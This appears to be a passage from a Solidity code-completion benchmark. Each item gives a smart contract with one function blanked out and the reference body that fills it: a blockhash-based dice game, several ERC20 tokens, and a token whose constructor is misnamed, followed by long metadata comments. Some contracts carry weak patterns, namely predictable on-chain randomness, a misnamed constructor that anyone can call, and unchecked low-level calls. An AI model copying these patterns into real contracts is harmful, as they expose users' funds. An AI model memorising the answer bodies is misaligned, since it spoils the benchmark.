contract DSG_Dice{ using SafeMath for uint256; address constant public DSG_ADDRESS = 0x696826C18A6Bc9Be4BBfe3c3A6BB9f5a69388687; uint256 public totalDividends; uint256 public totalWinnings; uint256 public totalTurnover; uint256 public totalPlayed; uint256 public maxBet; uint256 public minBet; uint256 public minContractBalance; uint256 public minBetForJackpot; uint256 public jackpotBalance; uint256 public nextPayout; uint256 public ownerDeposit; address[2] public owners; address[2] public candidates; bool public paused; mapping (address => Bet) private usersBets; struct Bet { uint blockNumber; uint bet; bool[6] dice; } modifier onlyOwners(){ require(msg.sender == owners[0] || msg.sender == owners[1]); _; } modifier onlyUsers(){ require(tx.origin == msg.sender); _; } modifier checkBlockNumber(){ uint256 blockNumber = usersBets[msg.sender].blockNumber; if(block.number.sub(blockNumber) >= 250 && blockNumber > 0){ emit Result(msg.sender, 601, 0, jackpotBalance, usersBets[msg.sender].bet, usersBets[msg.sender].dice, 0); delete usersBets[msg.sender]; } else{ _; } } constructor(address secondOwner) public payable{ owners[0] = msg.sender; owners[1] = secondOwner; ownerDeposit = msg.value; jackpotBalance = jackpotBalance.add(ownerDeposit.div(1000)); } function play(bool dice1, bool dice2, bool dice3, bool dice4, bool dice5, bool dice6) public payable checkBlockNumber onlyUsers{ uint256 bet = msg.value; bool[6] memory dice = [dice1, dice2, dice3, dice4, dice5, dice6]; require(getXRate(dice) != 0, "Sides of dice is incorrect"); require(checkSolvency(bet), "Not enough ETH in contract"); require(paused == false, "Game was stopped"); require(bet >= minBet && bet <= maxBet, "Amount should be within range"); require(usersBets[msg.sender].bet == 0, "You have already bet"); usersBets[msg.sender].bet = bet; usersBets[msg.sender].blockNumber = block.number; usersBets[msg.sender].dice = dice; totalTurnover = totalTurnover.add(bet); totalPlayed = totalPlayed.add(1); emit PlaceBet(msg.sender, bet, dice, now); } function result() public checkBlockNumber onlyUsers{ require(blockhash(usersBets[msg.sender].blockNumber) != 0, "Your time to determine the result has come out or not yet come"); uint256 r = _random(601); bool[6] memory dice = usersBets[msg.sender].dice; uint256 bet = usersBets[msg.sender].bet; uint256 rate = getXRate(dice); uint256 totalWinAmount; if(getDice(r) == 1 && dice[0] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 2 && dice[1] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 3 && dice[2] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 4 && dice[3] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 5 && dice[4] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 6 && dice[5] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } if(bet >= minBetForJackpot && r == 0 && jackpotBalance > 0){ totalWinAmount = totalWinAmount.add(jackpotBalance).add(bet); emit Jackpot(msg.sender, jackpotBalance, now); delete jackpotBalance; } if(totalWinAmount > 0){ msg.sender.transfer(totalWinAmount); totalWinnings = totalWinnings.add(totalWinAmount); } jackpotBalance = jackpotBalance.add(bet.div(1000)); delete usersBets[msg.sender]; emit Result(msg.sender, r, totalWinAmount, jackpotBalance, bet, dice, rate); } function getXRate(bool[6] dice) public pure returns(uint){ uint sum; for(uint i = 0; i < dice.length; i++){ if(dice[i] == true) sum = sum.add(1); } if(sum == 1) return 500; if(sum == 2) return 250; if(sum == 3) return 180; if(sum == 4) return 135; if(sum == 5) return 110; if(sum == 6 || sum == 0) return 0; } <FILL_FUNCTION> function checkSolvency(uint bet) view public returns(bool){ if(getContractBalance() > bet.add(bet.mul(500).div(100)).add(jackpotBalance)) return true; else return false; } function sendDividends() public { require(getContractBalance() > minContractBalance && now > nextPayout, "You cannot send dividends"); DSG DSG0 = DSG(DSG_ADDRESS); uint256 balance = getContractBalance(); uint256 dividends = balance.sub(minContractBalance); nextPayout = now.add(7 days); totalDividends = totalDividends.add(dividends); DSG0.gamingDividendsReception.value(dividends)(); emit Dividends(balance, dividends, now); } function getContractBalance() public view returns (uint256){ return address(this).balance; } function _random(uint256 max) private view returns(uint256){ bytes32 hash = blockhash(usersBets[msg.sender].blockNumber); return uint256(keccak256(abi.encode(hash, msg.sender))) % max; } function deposit() public payable onlyOwners{ ownerDeposit = ownerDeposit.add(msg.value); } function sendOwnerDeposit(address recipient) public onlyOwners{ require(paused == true, 'Game was not stopped'); uint256 contractBalance = getContractBalance(); if(contractBalance >= ownerDeposit){ recipient.transfer(ownerDeposit); } else{ recipient.transfer(contractBalance); } delete jackpotBalance; delete ownerDeposit; } function pauseGame(bool option) public onlyOwners{ paused = option; } function setMinBet(uint256 eth) public onlyOwners{ minBet = eth; } function setMaxBet(uint256 eth) public onlyOwners{ maxBet = eth; } function setMinBetForJackpot(uint256 eth) public onlyOwners{ minBetForJackpot = eth; } function setMinContractBalance(uint256 eth) public onlyOwners{ minContractBalance = eth; } function transferOwnership(address newOwnerAddress, uint8 k) public onlyOwners{ candidates[k] = newOwnerAddress; } function confirmOwner(uint8 k) public{ require(msg.sender == candidates[k]); owners[k] = candidates[k]; } event Dividends( uint256 balance, uint256 dividends, uint256 timestamp ); event Jackpot( address indexed player, uint256 jackpot, uint256 timestamp ); event PlaceBet( address indexed player, uint256 bet, bool[6] dice, uint256 timestamp ); event Result( address indexed player, uint256 indexed random, uint256 totalWinAmount, uint256 jackpotBalance, uint256 bet, bool[6] dice, uint256 winRate ); }
if((r > 0 && r <= 50) || (r > 300 && r <= 350)){ return 1; } else if((r > 50 && r <= 100) || (r > 500 && r <= 550)){ return 2; } else if((r > 100 && r <= 150) || (r > 450 && r <= 500)){ return 3; } else if((r > 150 && r <= 200) || (r > 400 && r <= 450)){ return 4; } else if((r > 200 && r <= 250) || (r > 350 && r <= 400)){ return 5; } else if((r > 250 && r <= 300) || (r > 550 && r <= 600)){ return 6; }
function getDice(uint r) private pure returns (uint)
function getDice(uint r) private pure returns (uint)
1211
PPToken
null
contract PPToken is ERC20, ERC20Detailed, ERC20Burnable { uint256 public constant INITIAL_SUPPLY = 1000000000000; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("PointPay Token", "PXP", 3) {<FILL_FUNCTION_BODY> } function getNow() public view returns(uint256) { return now; } }
contract PPToken is ERC20, ERC20Detailed, ERC20Burnable { uint256 public constant INITIAL_SUPPLY = 1000000000000; <FILL_FUNCTION> function getNow() public view returns(uint256) { return now; } }
_mint(msg.sender, INITIAL_SUPPLY);
constructor () public ERC20Detailed("PointPay Token", "PXP", 3)
/** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("PointPay Token", "PXP", 3)
68664
NewToken
transfer
contract NewToken { uint public totalSupply = 2300000000000000; string public name = "TTInvest"; uint8 public decimals = 8; string public symbol = "TTInvest"; string public version = "1.0"; function NewToken(){ balances[msg.sender] = 2300000000000000; } mapping (address => uint256) balances; mapping (address => mapping (address => uint)) allowed; //Fix for short address attack against ERC20 modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function transfer(address _recipient, uint _value) onlyPayloadSize(2*32) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint _value) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _spender, address _owner) constant returns (uint balance) { return allowed[_owner][_spender]; } //Event which is triggered to log all transfers to this contract's event log event Transfer( address indexed _from, address indexed _to, uint _value ); //Event which is triggered whenever an owner approves a new allowance for a spender. event Approval( address indexed _owner, address indexed _spender, uint _value ); }
contract NewToken { uint public totalSupply = 2300000000000000; string public name = "TTInvest"; uint8 public decimals = 8; string public symbol = "TTInvest"; string public version = "1.0"; function NewToken(){ balances[msg.sender] = 2300000000000000; } mapping (address => uint256) balances; mapping (address => mapping (address => uint)) allowed; //Fix for short address attack against ERC20 modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint _value) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _spender, address _owner) constant returns (uint balance) { return allowed[_owner][_spender]; } //Event which is triggered to log all transfers to this contract's event log event Transfer( address indexed _from, address indexed _to, uint _value ); //Event which is triggered whenever an owner approves a new allowance for a spender. event Approval( address indexed _owner, address indexed _spender, uint _value ); }
require(balances[msg.sender] >= _value && _value > 0); balances[msg.sender] -= _value; balances[_recipient] += _value; Transfer(msg.sender, _recipient, _value);
function transfer(address _recipient, uint _value) onlyPayloadSize(2*32)
function transfer(address _recipient, uint _value) onlyPayloadSize(2*32)
43679
CoXxMoXx
CoXxMoXx
contract CoXxMoXx is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function CoXxMoXx() {<FILL_FUNCTION_BODY> } function() public payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract CoXxMoXx is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; <FILL_FUNCTION> function() public payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 10000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 10000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "CoXxMoXx"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "CMX"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 500000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH
function CoXxMoXx()
// Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function CoXxMoXx()
68329
YYFFinance
addAuditHash
contract YYFFinance is ERC20, ERC20Detailed, Ownable { constructor () public ERC20Detailed("YYF.Finance", "YYF", 18) { _mint(_msgSender(), 22000 * (10 ** uint256(decimals()))); } mapping(uint256 => uint256) public auditHashes; function addAuditHash(uint256 hashKey, uint256 newAuditHash) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract YYFFinance is ERC20, ERC20Detailed, Ownable { constructor () public ERC20Detailed("YYF.Finance", "YYF", 18) { _mint(_msgSender(), 22000 * (10 ** uint256(decimals()))); } mapping(uint256 => uint256) public auditHashes; <FILL_FUNCTION> }
auditHashes[hashKey] = newAuditHash;
function addAuditHash(uint256 hashKey, uint256 newAuditHash) public onlyOwner
function addAuditHash(uint256 hashKey, uint256 newAuditHash) public onlyOwner
70964
Ownable
transferOwnership
contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
function transferOwnership(address newOwner) public onlyOwner
75934
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
90580
RUSS_PFXIV_II_883
transferFrom
contract RUSS_PFXIV_II_883 { mapping (address => uint256) public balanceOf; string public name = " RUSS_PFXIV_II_883 " ; string public symbol = " RUSS_PFXIV_II_IMTD " ; uint8 public decimals = 18 ; uint256 public totalSupply = 795614035169367000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_1_____NORIMET_LIMITED_20231101 > // < 1U2F5daAm15re7K282ZR6aU0h61QuEo06iSmjY1ewkKFR6XQ8672J8vHKg50xW30 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000018302113.161568100000000000 ] > // < 0x00000000000000000000000000000000000000000000000000000000001BED43 > // < RUSS_PFXIV_II_metadata_line_2_____NORNICKEL_AUSTRALIA_PTY_LIMITED_20231101 > // < 3q5O7zNld33a1enA5qg2oKDv3rr1371UUn046mNsUWLyW4On6vadB093hDa0RJ45 > // < u =="0.000000000000000001" : ] 000000018302113.161568100000000000 ; 000000043182994.963161200000000000 ] > // < 0x00000000000000000000000000000000000000000000000000001BED4341E45B > // < RUSS_PFXIV_II_metadata_line_3_____NORILSKGAZPROM_20231101 > // < M66W5Q45n8eXNHSjw6rR5EOSDannzgVE9AT4UE1BLDCp96dFYhKcewjY39R4p7Ps > // < u =="0.000000000000000001" : ] 000000043182994.963161200000000000 ; 000000060024825.897479800000000000 ] > // < 0x000000000000000000000000000000000000000000000000000041E45B5B9733 > // < RUSS_PFXIV_II_metadata_line_4_____NORILSK_NICKEL_USA_INC_20231101 > // < 4A36dHNh4E2XKOy9110sIW43xr7N99r47qp0wV9P0hnZfJ08ybI0465mVPuOlDM5 > // < u =="0.000000000000000001" : ] 000000060024825.897479800000000000 ; 000000082697463.639882300000000000 ] > // < 0x00000000000000000000000000000000000000000000000000005B97337E2FB2 > // < RUSS_PFXIV_II_metadata_line_5_____DALRYMPLE_RESOURCES_PTY_LTD_20231101 > // < 4v6548v0l5Qw4iS3v9upsVNzD7UdTK4io4JN8Fh5QAL7aZfZg5WE69qg4FOusJ3V > // < u =="0.000000000000000001" : ] 000000082697463.639882300000000000 ; 000000107343629.529494000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000007E2FB2A3CB1B > // < RUSS_PFXIV_II_metadata_line_6_____MPI_NICKEL_PTY_LTD_20231101 > // < zX6awTcsviUqEi13xWQ6955X9oFNu51p4I8d2ap68G74xEtu7xjeZ0p47NqFQp47 > // < u =="0.000000000000000001" : ] 000000107343629.529494000000000000 ; 000000130754847.489930000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000A3CB1BC7841D > // < RUSS_PFXIV_II_metadata_line_7_____CAWSE_PROPRIETARY_LIMITED_20231101 > // < ZZ3hZmufHQbV0ZYG7Cd73vwFs0H6S2p6rpVTQVtjWXNLUnj8h3uU4W1UaWxDlW5R > // < u =="0.000000000000000001" : ] 000000130754847.489930000000000000 ; 000000153270986.315656000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000C7841DE9DF7B > // < RUSS_PFXIV_II_metadata_line_8_____NORNICKEL_TERMINAL_20231101 > // < HB56tuas2Y6RwRVUhLQDCwMl2kil9V9zs12mQ1ZhQXWUat73rqr8bEs43m0U1EaB > // < u =="0.000000000000000001" : ] 000000153270986.315656000000000000 ; 000000176785154.324262000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000E9DF7B10DC0B3 > // < RUSS_PFXIV_II_metadata_line_9_____NORILSKPROMTRANSPORT_20231101 > // < 0m7vx5C10pPZcXC2v1sgfjoxxE4Wj0AJ6i08R1gjunG7ftYB8Vip8ygj3nv5d9vJ > // < u =="0.000000000000000001" : ] 000000176785154.324262000000000000 ; 000000201295160.252180000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000010DC0B313326EC > // < RUSS_PFXIV_II_metadata_line_10_____NORILSKGEOLOGIYA_OOO_20231101 > // < K83Ef53VmA0F6R9G16eYqSD8G11jW2Arho5SF1N73w15A8K8X2j6Ae9BvmBS95yd > // < u =="0.000000000000000001" : ] 000000201295160.252180000000000000 ; 000000219365751.984581000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000013326EC14EB9BF > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_11_____NORNICKEL_FINLAND_OY_20231101 > // < 6dE542nLhjB68njMR4HMYVDDY7G3BLSGup2koKkcv9wH1R1jDBGUF9WLf3F4OFvk > // < u =="0.000000000000000001" : ] 000000219365751.984581000000000000 ; 000000239998988.351648000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000014EB9BF16E359B > // < RUSS_PFXIV_II_metadata_line_12_____CORBIERE_HOLDINGS_LTD_20231101 > // < 1DRu36Z2b9wUzh2LId5R1YvcDKfl32iwv8OBH04GV0K62EYvmLJ40MATF7y90q09 > // < u =="0.000000000000000001" : ] 000000239998988.351648000000000000 ; 000000256995378.637184000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000016E359B18824D2 > // < RUSS_PFXIV_II_metadata_line_13_____MEDVEZHY_RUCHEY_20231101 > // < Jxq7T5EwF61Q16vzuz3Eo0hkN8Y28Fn3R0hGDD4JY2bh8u3gW94iV64b5J7F9Hh7 > // < u =="0.000000000000000001" : ] 000000256995378.637184000000000000 ; 000000277365208.828360000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000018824D21A739C9 > // < RUSS_PFXIV_II_metadata_line_14_____NNK_TRADITSIYA_20231101 > // < 2x2Zb64F9N5Kt7575nsXG9WG5k0Auy24FHW824a0VNQgnqk0E701sS9GOmRBvLN9 > // < u =="0.000000000000000001" : ] 000000277365208.828360000000000000 ; 000000299283325.266470000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001A739C91C8AB8D > // < RUSS_PFXIV_II_metadata_line_15_____RADIO_SEVERNY_GOROD_20231101 > // < e0UDV7CZPyK9D3ZKhJ8dcdlrwr2zb6x3iXh46ch0oRVF6QlhIpdA5X2wZjn0oS48 > // < u =="0.000000000000000001" : ] 000000299283325.266470000000000000 ; 000000315034454.157685000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001C8AB8D1E0B455 > // < RUSS_PFXIV_II_metadata_line_16_____ALYKEL_20231101 > // < vs47slmvlJK7F31uCDf521BCK1TaHECm87uoU9jUTWOW69tSDWckJG36pqZiMU9L > // < u =="0.000000000000000001" : ] 000000315034454.157685000000000000 ; 000000330693513.460782000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001E0B4551F89927 > // < RUSS_PFXIV_II_metadata_line_17_____GEOKOMP_OOO_20231101 > // < D6u496p87W8bT9Bt512l9Ukx6Xw42IJQXz9wMd7BJlQwIFgb02706PXJ5vUDKV0Q > // < u =="0.000000000000000001" : ] 000000330693513.460782000000000000 ; 000000346582786.981683000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001F89927210D7E7 > // < RUSS_PFXIV_II_metadata_line_18_____LIONORE_SOUTH_AFRICA_20231101 > // < rmBM00Y8H4bdzVg6CvQtg616dlNKGrbtJ03Oy9Do0gA32fW0Ubh9DR3Fpu2rR996 > // < u =="0.000000000000000001" : ] 000000346582786.981683000000000000 ; 000000368924926.266501000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000210D7E7232EF4D > // < RUSS_PFXIV_II_metadata_line_19_____VESHCHATELNAYA_KORPORATSIYA_TELESFERA_20231101 > // < 83F35Zt1ulwa5O4gg03RhWx6Z3fdB3tJjR9c5YlDv8w2C26zsNKXEa1YZ30kF8Fm > // < u =="0.000000000000000001" : ] 000000368924926.266501000000000000 ; 000000390676618.411542000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000232EF4D254200E > // < RUSS_PFXIV_II_metadata_line_20_____SRETENSKAYA_COPPER_COMPANY_20231101 > // < E66Wbdge6JfJV1se711tnnRj2G5wd2xxMh0DcTW9op6w4LZlp1eld03Q4RcPm0m2 > // < u =="0.000000000000000001" : ] 000000390676618.411542000000000000 ; 000000407952485.322903000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000254200E26E7C71 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_21_____NORILSKNICKELREMONT_20231101 > // < I7np9wG8wy9yh5y22ymDCdgua87A5y066BGm9h9BqMYqwIv1Bx2TKAWdw8N13iwb > // < u =="0.000000000000000001" : ] 000000407952485.322903000000000000 ; 000000430820521.818804000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000026E7C712916144 > // < RUSS_PFXIV_II_metadata_line_22_____NORILSK_NICKEL_INTERGENERATION_20231101 > // < 02RZDQi6BC2G8R7ZxINQ66081yVw411DQpjJq0jTRm740Mxtzq43nmL9ktR7dxlv > // < u =="0.000000000000000001" : ] 000000430820521.818804000000000000 ; 000000454958525.923392000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000029161442B6362D > // < RUSS_PFXIV_II_metadata_line_23_____PERVAYA_MILYA_OOO_20231101 > // < Qt0jPwTwGP4C5H35H274yR0vi061Ov8XgBbbd31y1B4e9Wpfwb8k00N2G5mvLg1F > // < u =="0.000000000000000001" : ] 000000454958525.923392000000000000 ; 000000479287503.513851000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002B6362D2DB55AE > // < RUSS_PFXIV_II_metadata_line_24_____NORILSKNICKELREMONT_OOO_20231101 > // < QB1Ki4RPBQD8l3Xp7yQNN0XG9bXvN66a7Ks06v9E9iTCE3o8sS6PC5jam8T8Wl0r > // < u =="0.000000000000000001" : ] 000000479287503.513851000000000000 ; 000000497976882.719101000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002DB55AE2F7DA38 > // < RUSS_PFXIV_II_metadata_line_25_____NORNICKEL_INT_HOLDINS_CANADA_20231101 > // < A28FL8Sd0rym81MkeBaSOG0Kz69AlGAxc53R1q40Ae2E47bo6u4NFmM12rToWeb9 > // < u =="0.000000000000000001" : ] 000000497976882.719101000000000000 ; 000000514655660.286860000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002F7DA383114D5E > // < RUSS_PFXIV_II_metadata_line_26_____INTERGEOPROYEKT_LLC_20231101 > // < 2g63Cv6r6K3BSKLBnYSN4IxGPrj3IUX9QqE98vse4KbMgtngHuyzi9yH0Y2rJ8hs > // < u =="0.000000000000000001" : ] 000000514655660.286860000000000000 ; 000000532284738.582108000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003114D5E32C33BA > // < RUSS_PFXIV_II_metadata_line_27_____WESTERN_MINERALS_TECHNOLOGY_20231101 > // < n6Bab2p8dkwXgYg31or4cMKmkBBLGH2y2Ne74aFq4j6CL3I0IND6J7597UMqk8Y7 > // < u =="0.000000000000000001" : ] 000000532284738.582108000000000000 ; 000000551111516.618316000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000032C33BA348EDF0 > // < RUSS_PFXIV_II_metadata_line_28_____NORMETIMPEX_20231101 > // < Pf8ZP0e770W7qXFAw7U9WK155M915707UYnJE2oE5j0ejvVR0fV6FK11t4H6PP2x > // < u =="0.000000000000000001" : ] 000000551111516.618316000000000000 ; 000000575608422.996390000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000348EDF036E4F0A > // < RUSS_PFXIV_II_metadata_line_29_____RAO_NORNICKEL_20231101 > // < 9c1U4A1s4hJ1asMIid5JIx4690z1hZ5HRRqZB0WYE9862Z3SiVDJbAQys0sjLFv7 > // < u =="0.000000000000000001" : ] 000000575608422.996390000000000000 ; 000000595878641.493135000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000036E4F0A38D3D18 > // < RUSS_PFXIV_II_metadata_line_30_____ZAPOLYARNAYA_STROITELNAYA_KOMPANIYA_20231101 > // < Pp5PC07ZncJWd6izdS3gH2ekU926GUc0RNnPuuPAl4BTVxmDrP9LdzLWFdpc53P0 > // < u =="0.000000000000000001" : ] 000000595878641.493135000000000000 ; 000000615708850.365732000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000038D3D183AB7F45 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXIV_II_metadata_line_31_____NORNICKEL_PROCESSING_TECH_20231101 > // < sfy3454POypvZf7Ctt8feP1DE6msHBN2Tnmf47ECisYklrQ5hL4pYQb0DBfdf424 > // < u =="0.000000000000000001" : ] 000000615708850.365732000000000000 ; 000000635017208.584079000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003AB7F453C8F599 > // < RUSS_PFXIV_II_metadata_line_32_____NORNICKEL_KTK_20231101 > // < 2xi7ZD39G6t42277ywvNsb3gBN6IsGs54hi32W2cFDP9Fn5F59jEUNo92OuBhtqW > // < u =="0.000000000000000001" : ] 000000635017208.584079000000000000 ; 000000652676485.964560000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003C8F5993E3E7C1 > // < RUSS_PFXIV_II_metadata_line_33_____NORILSKYI_OBESPECHIVAUSHYI_COMPLEX_20231101 > // < 